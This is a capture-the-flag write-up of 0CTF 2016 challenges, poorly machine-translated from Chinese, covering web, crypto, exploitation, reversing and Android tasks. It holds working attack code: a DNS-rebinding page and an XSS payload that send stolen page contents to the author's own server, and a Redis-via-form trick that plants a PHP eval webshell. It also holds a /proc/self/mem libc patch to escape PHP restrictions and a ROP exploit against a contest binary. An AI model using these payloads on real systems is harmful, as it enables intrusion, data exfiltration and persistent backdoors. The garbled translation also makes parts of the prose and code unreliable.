Felixk3y · 2016/03/17 and

Author: Double Helix Security Institute

0x00 Rand_2(web)


Visit http://202.120.7.202:8888/, you can access to the source to the subject:

#! php <? php include('config.php'); session_start(); if($_SESSION['time'] && time() - $_SESSION['time'] > 60){ session_destroy(); die('timeout'); } else { $_SESSION['time'] = time(); } echo rand(); if(isset($_GET['go'])){ $_SESSION['rand'] = array(); $i = 5; $d = ''; while($i--){ $r = (string)rand(); $_SESSION['rand'][] = $r; $d .= $r; } echo md5($d); }else if(isset($_GET['check'])){ if($_GET['ckeck'] === $_SESSION['rand']){ echo $flag; } else { echo 'die'; session_destroy(); } } else { show_source(__FILE__); }? >Copy the code

If the value of check is equal to the value of session[‘ rand ‘], the value of check is equal to the value of session[‘ rand ‘]. If the value of check is equal to the value of session[‘ rand ‘], the value of session[‘ rand ‘] is equal to the value of session[‘ rand ‘]. Flag is returned.

Reference: www.sjoerdlangkemper.nl/2016/02/11/…

The article mentioned:

#! php state[i] = state[i-3] + state[i-31] return state[i] >> 1Copy the code

According to this idea, if we can get more than 32 random numbers generated consecutively, we can predict the numbers generated later. To get consecutive random numbers, use requests. Session to keep-alive.

In the actual test, I found that sometimes the predicted result would be 1 difference from the actual result, but I didn’t find the rule, so I just ran for several times and came up with flag. The script is as follows:

#! python import requests while 1: s = requests.session() l = [] for i in range(50): L.A. ppend (int (s.g et (' http://202.120.7.202:8888/ '). The content. The split (' < code) [0]. Strip (), 10) resp = s.g et (') http://202.120.7.202:8888/? Go = 1 ') L.A. ppend (int (resp. Content. Strip () [: - 32], 10)) print resp. The content. strip () / - 32: url = 'http://202.120.7.202:8888/? ' for i in range(5): index = len(l) r = (l[index-3]+l[index-31]) % 2147483648 # 2147483647 l.append(r) url += 'check[]={}&'.format(r) resp = s.get(url) print resp.request.url print resp.contentCopy the code

0x01 Monkey(web)


Through a page of their structure to get the content of http://127.0.0.1:8080/secret pages.

At first want to get the page content by XSSI thinking, but can only get the Script Error Error, after changed ideas, found at https://bugzilla.mozilla.org/show_bug.cgi?id=1106687.

It is no longer usable, but it is possible to use this idea to bypass.

We first put their own domain name DNS TTL changed to 10, and then submit a page http:// pkav.net: 8080 / delay after 60 seconds to read the http://pkav.net:8080/secret and put the results back to the remote server, In this period of time within the domain DNS record is modified to 127.0.0.1, can be read to the content of http://127.0.0.1:8080/secret.

I played twice without success, and then my teammates tried to parse pkav.net. Flush DNS cache succeeded.

#! Js < HTML >< script SRC ="js/jquery-1.7.min.js"></script> <script> function getData (){ $.get('http://pkav.pkav.net:8080/secret',function(data){ $.get('http://pkav.net/xss.php?xss='+data); }); } function refresh(){ $.get('http://pkav.pkav.net./'); } setTimeout("refresh()",30000); setTimeout("getdata()",100000); </script> </html>Copy the code

0x02 Piapiapia(web)


Code audit questions, flag in the config.php file. In the class.php file, there is a filter function:

Profile.php has the code to read the file:

Here, if we can control the value of $profile[‘ photo ‘], we can read the config.php file to get the flag.

$profile writes to the database as follows:

$_POST[‘ nickname ‘] can be bypassed

#! php if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)Copy the code

We can bypass the re and strlen restrictions by passing in an array.

In update_profile, we pass the serialized string to filter and replace where with hacker, which lengthened the string by 1.

So we can use this to extrude our construct out of the range of S :xx: “string” to construct anything.

My teammates wrote a script to test the relevant functions:

To construct the photo field, fill: “; }s:5: “photo”; s:10: “config.php

After being closed, the characters behind the complete legal Serialized array will be ignored.

There are 31 more characters, so we need 31 WHERE.

Construct the nickname:

#! php nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewher ewherewherewherewherewherewherewherewherewhere"; }s:5:"photo"; s:10:"config.phpCopy the code

After updating the profile (update_file), the contents of profile.php and config.php are written to the data URL of the IMG tag.

0x03 Guestbook (1) (Web)


First we submit a random message and look at the output HTML:

Username is written in the DIV ID attribute, message is written in the JavaScript data variable. After several tests, we found that \\ in message will become \, which can be constructed as any character. Secret is in the GET parameter of the URL.

So if our secret contains , Chrome XSS filter will think HTML appears is reflected XSS output, masking it from execution. The debug variable is referenced to a tag. If (debug) is true if you write username as debug, t.innerhtml = data to implement XSS.

POST data packets:

#! Bash POST /message.php HTTP/1.1 Host: 202.120.7.201:8888 Content-Length: 832 cache-control: max-age=0 Accept: text/html,application/xhtml+xml,application/xml; Q = 0.9, image/webp, * / *; Q = 0.8 Origin: http://202.120.7.201:8888 Upgrade - Insecure - Requests: 1 the user-agent: Mozilla / 5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36 Content-Type: Application/x - WWW - form - urlencoded Referer: http://202.120.7.201:8888/ Accept - Encoding: gzip, deflate the Accept - Language: zh-CN,zh; Q = 0.8, en. Q = 0.6, useful - TW; Q = 0.4 secret=1z1zfqwq%3Cscript%3Evar+debug%3Dfalse%3B%3C%2Fscript%3E&username=debug&message=\\x3cimg+src%3d%23+id%3dxssyou+sty le%3ddisplay%3anone+onerror%3deval(unescape(/alert%25281%2529/.source))%3b//\\x3e&action=submitCopy the code

Write a few lines of JS to read the current page HTML,

Get:

Read/admin/server_info. PHP:

#! php xmlhttp=new XMLHttpRequest(); xmlhttp.open("GET","/admin/server_info.php ",false); xmlhttp.send(); r=xmlhttp.responseText; xmlhttp.responseText; xmlhttp.open("POST","http://pkav.net/1.php",false); xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xmlhttp.send("d="+escape(r));Copy the code

This is a PHP probe with a phpInfo that returns the entire $_COOKIE array with flags

0x04 Guestbook(2) (web)


In phpInfo guestBook (1), find:

Bind 127.0.0.1:6379 to the uploads directory as indicated in the /admin/show.php comment and write webshell.

So the initial idea is that if you access Redis through XSS, the HTTP header will be treated as an invalid instruction and will not affect the execution of other lines.

#! php xmlhttp=new XMLHttpRequest(); XMLHTTP. Open (" GET ", "http://127.0.0.1:6379", false); xmlhttp.send('flushall\r\nset a "<? php eval($_POST[c][/c]); //"\r\nCONFIG SET dir "/usr/share/nginx/html/uploads"\r\nCONFIG SET dbfilename "pkav.php"\r\nBGSAVE\r\nSAVE\r\n');Copy the code

The local Redis test was successful, but the shell could not be written on the remote server. Then I used NC to check:

An OPTIONS request will be sent first, and the POST packet will not be sent after the request fails.

After several tests, we found that we can use form and multipart to break lines:

#! php f=document.createElement('form'); ['CONFIG SET dir /usr/share/nginx/html/uploads/','CONFIG SET dbfilename pkav.php','SET PAYLOAD "<?php eval($_POST[1]); ?>"','BGSAVE'].forEach(function(e){var i=document.createElement('input'); i.name='a'; i.value=e; f.appendChild(i); }); f.method='POST'; F.a ction = 'http://127.0.0.1:6379/'. f.enctype='multipart/form-data'; f.submit();Copy the code

Successfully get webshell.

Open_basedir bypass is used to create the/directory:

Flag_reader can only read /flag files by flag_reader.

Using raw.githubusercontent.com/beched/php_… /lib is not included in open_basedir. Pwner can remove libc and ELF from /proc/self/mem. He looked at it and said he could just write the code and not change the GLOBAL offset table.

Final use of code:

#! php <? php $jmp_system = "\xE9\x2B\xB0\xF5\xFF"; $system_addr = 0x46640; $open_addr = 0xeb610; $maps = file_get_contents("/proc/self/maps"); preg_match('#([0-9a-f]+)\-[0-9a-f]+.+/.+libc\-.+#', $maps, $r); $libc_base = hexdec($r[1]); echo $libc_base; $file = fopen("/proc/self/mem", "wb"); fseek($file, $open_addr + $libc_base); fwrite($file, $jmp_system, strlen($jmp_system)); fopen("/flag_reader > /usr/share/nginx/html/uploads/pkav/xxxxxxxxxxxx.txt", 'r'); ? >Copy the code

0x05 OPM(Misc)


Visit http://dl.0ops.net/opm, download the file back, and load WinHex. The header shows that it is a compressed file, unpack it to get a PNG image, use stegsolve analysis to see that the RGB least significant bits exist data, and LSB algorithm should be used to hide information

Look at the lowest level data, according to the header is a compressed file

“Save bin” save into a compressed file, open a file named ARM assembly instruction text file, QWQ, Android does not understand, give Android a minute to drop.

Read address and instruction TXT file, generate bin file through py sort.

IDA loaded the bin file, found 3 pieces of assembly code, observed the assembly mode, and obtained the key function sub_5c

The first part: PLT table

#! bash ROM:00000000 00 C6 8F E2 ADR R12, 8 ROM:00000004 04 CA 8C E2 ADD R12, R12, #0x4000 ROM:00000008 0C F4 BC E5 LDR PC, [R12,#0x40C]!Copy the code

Part two: JNI function

#! bash ROM:0000000C 00 48 2D E9 STMFD SP! , {R11,LR} ROM:00000010 04 B0 8D E2 ADD R11, SP, #4 ROM:00000014 18 D0 4D E2 SUB SP, SP, #0x18 ROM:00000018 10 00 0B E5 STR R0, [R11,#var_10] ROM:0000001C 14 10 0B E5 STR R1, [R11,#var_14] ROM:00000020 18 20 0B E5 STR R2, [R11,#var_18] ROM:00000024 10 30 1B E5 LDR R3, [R11,#var_10] ROM:00000028 00 30 93 E5 LDR R3, [R3] ROM:0000002C A4 32 93 E5 LDR R3, [R3,#0x2A4] ROM:00000030 10 00 1B E5 LDR R0, [R11,#var_10] ROM:00000034 18 10 1B E5 LDR R1, [R11,#var_18] ROM:00000038 00 20 A0 E3 MOV R2, #0 ROM:0000003C 33 FF 2F E1 BLX R3 ROM:00000040 08 00 0B E5 STR R0, [R11,#var_8] ROM:00000044 08 00 1B E5 LDR R0, [R11,#var_8] ROM:00000048 03 00 00 EB BL sub_5CCopy the code

Check the algorithm, the initial function part of the exposed key is 16 length, where BL 0xFFFFFF80 is actually strlen. F5 observed the code and found that it was a linear system of equations of order 16.

#! bash ROM:0000005C 00 48 2D E9 STMFD SP! , {R11,LR} ROM:00000060 04 B0 8D E2 ADD R11, SP, #4 ROM:00000064 88 D0 4D E2 SUB SP, SP, #0x88 ROM:00000068 88 00 0B E5 STR R0, [R11,#str] ROM:0000006C 88 00 1B E5 LDR R0, [R11,#str] ROM:00000070 C2 FF FF EB BL 0xFFFFFF80 ROM:00000074 00 30 A0 E1 MOV R3, R0 ROM:00000078 10 00 53 E3 CMP R3, #0x10 ROM:0000007C 01 00 00 0A BEQ loc_88 ROM:00000080 88 30 1B E5 LDR R3, [R11,#str]Copy the code

The right-hand side of the equation is:

#! bash ans[15] = 0xFFFFCE56; ans[14] = 0x4FCE; ans[13] = 0x32DB; ans[12] = 0xFFFFE038; ans[11] = 0xFFFFA5C5; ans[10] = 0x7ACB; ans[9] = 0x442C; ans[8] = 0xFFFFD069; ans[7] = 0x3BA1; ans[6] = 0xFFFF963A; ans[5] = 0x6BAC; ans[4] = 0x21B6; ans[3] = 0x5081; ans[2] = 0xD0C2; ans[1] = 0xFFFFF5AB; ans[0] = 0xFFFFE48E;Copy the code

Input equation coefficient, through matlab matrix inverse to obtain the input. The result is a decimal. . Finally round forensics into the verification algorithm, through the key: Tr4c1NgF0RFuN!

0x06 RSA ? ( Crypto)


#! Bash ➜ rsa openssl Rsa-pubin-text-modulus in warmup -in public.pem modulus (314 bit): 02:ca:a9:c0:9d:c1:06:1e:50:7e:5b:7f:39:dd:e3: 45:5f:cf:e1:27:a2:c6:9b:62:1c:83:fd:9d:3d:3e: aa:3a:ac:42:14:7c:d7:18:8c:53 Exponent: 3 (0x3) Modulus=2CAA9C09DC1061E507E5B7F39DDE3455FCFE127A2C69B621C83FD9D3D3EAA3AAC42147CD7188C53 writing RSA key -----BEGIN PUBLIC KEY----- MEEwDQYJKoZIhvcNAQEBBQADMAAwLQIoAsqpwJ3BBh5Qflt/Od3jRV/P4Seixpti HIP9nT0+qjqsQhR81xiMUwIBAw==  -----END PUBLIC KEY-----Copy the code

.

#! Bash ➜ rsa python python 2.7.11 (default, Jan 22 2016, 08:29:18) [GCC 4.2.1 Compatible Apple LLVM 7.0.2 (clang-700.1.81)] on Darwin Type "help", "copyright", "credits" or "license" for more information. >>> int('0x2CAA9C09DC1061E507E5B7F39DDE3455FCFE127A2C69B621C83FD9D3D3EAA3AAC42147CD7188C53', 16) 23292710978670380403641273270002884747060006568046290011918413375473934024039715180540887338067LCopy the code

Among them:

#! bash e = 3 n =23292710978670380403641273270002884747060006568046290011918413375473934024039715180540887338067LCopy the code

Obtain the prime factorization of n in factordb.com/.

#! bash n = 26440615366395242196516853423447 * 27038194053540661979045656526063 * 32581479300404876772405716877547 p = 26440615366395242196516853423447 q = 27038194053540661979045656526063 r = 32581479300404876772405716877547Copy the code

However, here n has three prime factors. After consulting the data, it is found that rsa has a form of multi-prime, but \(\varphi(n)\ and E are not mutually prime, which still does not satisfy the relationship of multi-prime.

If the cryptographic relation satisfies \(C=M^e mod(n)\), then we can use the remainder theorem to try all possibilities. Because e is 3.

Use GP/PARI for p, q, r to compute all x such that \(x^e mod(p) -c (mod(p))=0\).

Then use the remainder theorem to try all possibilities and print them out to get flag: 0ctf{HahA! Thi5_1s_n0T_rSa ~}.

#! python from rsa_decrypt import chinese_remainder_theorem c = 2485360255306619684345131431867350432205477625621366642887752720125176463993839766742234027524 n = 23292710978670380403641273270002884747060006568046290011918413375473934024039715180540887338067 e = 3 p = 26440615366395242196516853423447 q = 27038194053540661979045656526063 r = 32581479300404876772405716877547 c_p = c % p c_q = c % q c_r = c % r p_roots = [13374868592866626517389128266735, 7379361747422713811654086477766, 5686385026105901867473638678946] q_roots = [19616973567618515464515107624812] r_roots = [13404203109409336045283549715377, 13028011585706956936052628027629, 6149264605288583791069539134541] for m_p in p_roots: for m_q in q_roots: for m_r in r_roots: data = chinese_remainder_theorem([(m_p, p), (m_q, q), (m_r, r)]) data = '0' + hex(data)[2:-1] if len(hex(data)[2:-1]) % 2 == 1 else hex(data)[2:-1] print data.decode('hex')Copy the code

0x07 equation( Crypto)


According to the title back to download file (http://dl.0ops.net/equation.zip) discovered the code of the upper part of the private key, use binwalk run once found a part of the private key:

#! bash -----BEGIN RSA PRIVATE KEY----- [masked] Os9mhOQRdqW2cwVrnNI72DLcAXpXUJ1HGwJBANWiJcDUGxZpnERxVw7s0913WXNt V4GqdxCzG0pG5EHThtoTRbyX0aqRP4U/hQ9tRoSoDmBn+3HPITsnbCy67VkCQBM4 xZPTtUKM6Xi+16VTUnFVs9E4rqwIQCDAxn9UuVMBXlX2Cl0xOGUF4C5hItrX2woF 7LVS5EizR63CyRcPovMCQQDVyNbcWD7N88MhZjujKuSrHJot7WcCaRmTGEIJ6TkU 8NWt9BVjR4jVkZ2EqNd0KZWdQPukeynPcLlDEkIXyaQx -----END RSA PRIVATE KEY-----Copy the code

Using pngCheck to check the image, we found that the IEND block has additional data, which is verified as part of the string of the above private key.

#! Bash ➜ equation pngcheck -v mask.png File: mask.png (30810 bytes) chunk IHDR at offset 0x0000c, length 13 717 x 384 image, 32-bit RGB+alpha, non-interlaced chunk sRGB at offset 0x00025, length 1 rendering intent = perceptual chunk gAMA at offset 0x00032, Length 4: 0.45455 Chunk pHYs at offset 0x00042, length 9: 3780x3780 pixels/meter (96 dpi) chunk IDAT at offset 0x00057, length 30327 zlib: deflated, 32K window, fast compression chunk IEND at offset 0x076da, Length 0 Additional data after IEND chunk ERRORS DETECTED in mask.png ➜ equationCopy the code

At first, I always wondered whether the data might still be in the picture. Later, I thought, was part of the string of the key given out for convenient analysis?

Google the RSA certificate file information.

#! bash RSAPrivateKey ::= SEQUENCE { version Version, modulus INTEGER, -- n publicExponent INTEGER, -- e privateExponent INTEGER, -- d prime1 INTEGER, -- p prime2 INTEGER, -- q exponent1 INTEGER, -- d mod (p-1) exponent2 INTEGER, -- d mod (q-1) coefficient INTEGER, -- (inverse of q) mod p otherPrimeInfos OtherPrimeInfos OPTIONAL }Copy the code

The residual parts were found to contain E, D mod(P-1) and D MOD (Q-1).

So we can get out of here violently.

#! python import gmpy d_p = 0xd5a225c0d41b16699c4471570eecd3dd7759736d5781aa7710b31b4a46e441d386da1345bc97d1aa913f853f850f6d4684a80e6067fb71cf213b27 6c2cbaed59 d_q = 0x1338c593d3b5428ce978bed7a553527155b3d138aeac084020c0c67f54b953015e55f60a5d31386505e02e6122dad7db0a05ecb552e448b347adc2 c9170fa2f3 e = 65537 for k_p in range(1, e): if (e*d_p - 1) % k_p == 0: p = (e*d_p - 1) / k_p + 1 if gmpy.is_prime(p): print '[p] {}'.format(p) break for k_q in range(1, e): if (e*d_q - 1) % k_q == 0: q = (e*d_q - 1) / k_q + 1 if gmpy.is_prime(q): print '[q] {}'.format(q) break # [p] 128834299396391004790030585185232484938216882076971384178346312186380275645623066202148639884476813006665382129185724721 28732943784711527013224777474072569 # [q] 125028936349231615998244651464070698822285137769477072954768059973117768558790240022895935986579497839370419296684431152 24477369136089557911464046118127387Copy the code

So let’s just use p, q, and e to figure out d. Then m=pow(c, d, n).

flag:0ctf{Keep_ca1m_and_s01ve_the_RSA_Eeeequati0n!!! }

0x08 Warmup(Exploit)


You can only read /home/warmup/flag. The actual test cannot execute system calls such as execve. So if you put payload on the stack, you can call open, read, write to read the flag.

#! python #! /usr/bin/env python2 from PWN import * #0ctf{welcome_it_is_PWNING_time} r = remote('127.1', # 4444) r = remote (' 202.120.7.207 ', 52608) data = 0x080491BC read = 0x0804811D add_esp = 0x080481B8 flag = '/home/warmup/flag\x00' buf = data+len(flag) raw_input('debug') payload = 'A'*0x20 + p32(0x080480D8) + 'AAAA' * 4 r.send(payload) payload = 'A'*0x20 + p32(0x080480D8) + p32(add_esp) + p32(1) + p32(buf) + p32(64) r.send(payload) payload = 'A'*0x20 + p32(0x080480D8) + 'AAAA' * 3 + p32(0x08048135) r.send(payload) payload = 'B'*0x20 + p32(0x080480D8) + 'BBBB' * 4 r.send(payload) payload =  'B'*0x20 + p32(0x080480D8) + p32(buf) + p32(64) + 'BBBB' * 2 r.send(payload) payload = 'B'*0x20 + p32(0x080480D8) + 'BBBB' * 1 + p32(read) + p32(add_esp) + p32(3) r.send(payload) payload = 'C'*0x20 + p32(0x080480D8) + 'CCCC' * 4 r.send(payload * 2) payload = 'C'*0x20 + p32(0x080480D8) + p32(add_esp) + p32(data) + p32(0) + 'CCCC' r.send(payload) payload = 'D'*0x20 + p32(0x080480D8) + 'DDDD' * 3 + p32(0x08048122) r.send(payload * 3) #send flag payload = 'C'*0x20 + p32(read) + p32(0x0804815A) + p32(0) + p32(data) + p32(len(flag)) + flag r.send(payload) # eax = 5 payload = 'D'*0x20 + p32(read) + p32(add_esp) + p32(0) + p32(buf) + p32(5) + 'd'*5 r.send(payload) print r.recv(1024)Copy the code

0x09 Sandbox(Exploit)


This problem is given to Warmup’s SanDOX program. Reverse analysis revealed that he limited WarmUp to open, read, write, Alarm, exit, mmap, and mProtect via ptrace. And the first argument to open can only be “/home/warmup/flag”, but this processing logic can be bypassed:

Returns NULL if the first argument to realPath does not exist. Write the file address as /proc/self/tasks/7777/.. /.. /.. /.. When warmUp’s PID is 7777, sandbox’s realPath call returns NULL and WarMP successfully opens the flag.

0x0A Trace(Reverse)


They gave us a trace log. First, grep jal can get the start address of all functions called, then grep jr r31 can get the end address of the function, there are three functions in total: 00400770, 004007d0, 00400858, strlen, strcpy and a recursive quicksort respectively. The main function first generates a string like a-za-z0-9 {} + flag, then fast-sorts it, and then compares the result to see if the previous string is the same as the next one.

The analysis log can manually break the code into several base blocks, and then write a script to analyze the base blocks to get the characters contained in flag: 0111355555699cfkllmrrstt{}.

#! python #! /usr/bin/python2 import string start = 0 table = string.digits + string.ascii_uppercase + string.ascii_lowercase+ '{}' result = '' i = 0 with open('./tail.log') as f: for line in f: if '[INFO]00400b90' in line: flag = True elif '[INFO]00400bbc' in line: flag = False i += 1 elif '[INFO]00400bc8' in line and flag: result += table[i] print resultCopy the code

Using the same method to analyze the fast sorting program, the fast sorting result is obtained:

#! python import string table = list(string.ascii_letters + string.digits + '{}') + range(26) f = open('858.log') def qsort(s, begin, end): t = True i, j= begin + 1, begin + 1 for l in f: if 'jr r31' in l: return elif '004008ac' in l: t = True elif '004008cc' in l: t = False s[i], s[j] = s[j], s[i] j, i = j+1, i+1 elif '00400920' in l and t: i += 1 elif '00400940' in l: s[j-1], s[begin] = s[begin], s[j-1] qsort(s, begin, j-1) elif '00400998' in l: qsort(s, j, end) qsort(table, 0, len(table)) print tableCopy the code

Combining the two gives a flag: 0CTF {TR135M1k5L96551s9l5r}

0x0B momo(Reverse)


The download file is a 32-bit ELF file. Run the 0ops try again command and enter the correct Flag, prompting Congratulations.

Preliminary analysis of the process in IDA found that only mov and JZ instructions were included in the program code, and the program was deformed. The program uses multiple tables to add, subtract, xor and or operations. Finally, through the way of table lookup to complete the operation, and through the MOV instruction to achieve, and in order to confuse everyone.

After analysis, the program takes 28 bytes of the input LAG for operation, so the total 28 bytes of the input Flag are entered. In calculation, there are two tables with a total length of 28 bytes that participate in fixed operation. One table adds or subtracts each byte in Flag successively, and the other table performs xOR operation on each byte in the operation result obtained in the previous step. Finally, xOR operation is performed on the xOR results successively. If the final result is 0, success is displayed; otherwise, failure is displayed.

The general process is as follows:

#! Bash {+, -, -, +, -, +, +, +, -, +, + +, +, -, +, +, +, -, +, -, -, +, + +, -, -} Table1 {9,2,7, F, 7,7,9,4, E, 8,13,6,1,1,3,1,9,0,9,9,9,2,1, A, 5,6,21,7 D} Table2 {39,61,6 D, 75,74,66,39,5 A, 6 D, 41,48,65,75,56,75,30,57,39,68,5 A, 39, 4 E, 30, 4 F, 6 F, 39,21,7 D}Copy the code

The result of Table1 should be the same as that of Table2. Therefore, the Flag of Table2 should be subtracted or added to the corresponding bytes in Table1. 0ctf{m0V_I5_tUr1N9_c0P1Et3! }

0x0C boomshakalaka(Mobile)


Get the APK decompilation first, the main Activity of the Java code as shown in the figure

As you can see, there are not many features. I mainly use Class A and start Coco2D to analyze class A, as shown in the figure

XML sharedPreferences file, cocosDXprefsfile.xml sharedPreferences file, cocosDXprefsfile.xml sharedPreferences file, cocosDXprefsfile.xml sharedPreferences file, cocosDXprefsfile.xml Look at these two files

The content in flag looks just like base64 encoding, which is decoded to bazingaAAA. Not a flag. Try decoding another one using base64.

Well, the result? In the main Activity, you can see that MGN0 is a fixed input that is entered every time the program starts. It is the code of 0tcF.

After playing with the updated high score, the contents of cocosDXprefsfile.xml become

MGN0ZntDMGNvUzJkX0FuRHJvdz99ZntDMGNvUzJkX0FuRHJvMWRfRzdz99
Copy the code

The format is obvious. The contents in brackets are added.

MGN0 ZntDMGNvUzJkX0FuRHJv dz99
ZntDMGNvUzJkX0FuRHJvMWRfRz dz99
Copy the code

A Highscore is a Highscore.

The class A call was analyzed and neither the Java layer nor the SO was found. As a result, I looked for CocosdxPrefsfile in smali and found that cocos2DXHelper also operates on this file.

The class calls are then analyzed to find calls in so.

Find the string and analyze the address call.

According to the call to find key function in the _Z18setStringForKeyJNIPKcS0_ using Cocos2dxHelper string to write

And then I’m going to analyze the call to setstringforkey.

Write more places, check the call location

You can see what is being written, two characters at a time, and comparing the strings in the Cocos2dxPrefsFile file, you can see that they are almost there.

Reanalysis shows that the contents written in the green box in the figure below are written during initialization, which occurs every time, so it is not analyzed, while the contents written in the red box are related to the score.

So analyze the updatesCore function logic, get the write order, construct the string, success

String MGN0ZntDMGNvUzJkX0FuRHJvMWRfRzBtRV9Zb1VfS24wdz99

Decoded result 0CTF {C0coS2d_AnDro1d_G0mE_YoU_Kn0w? }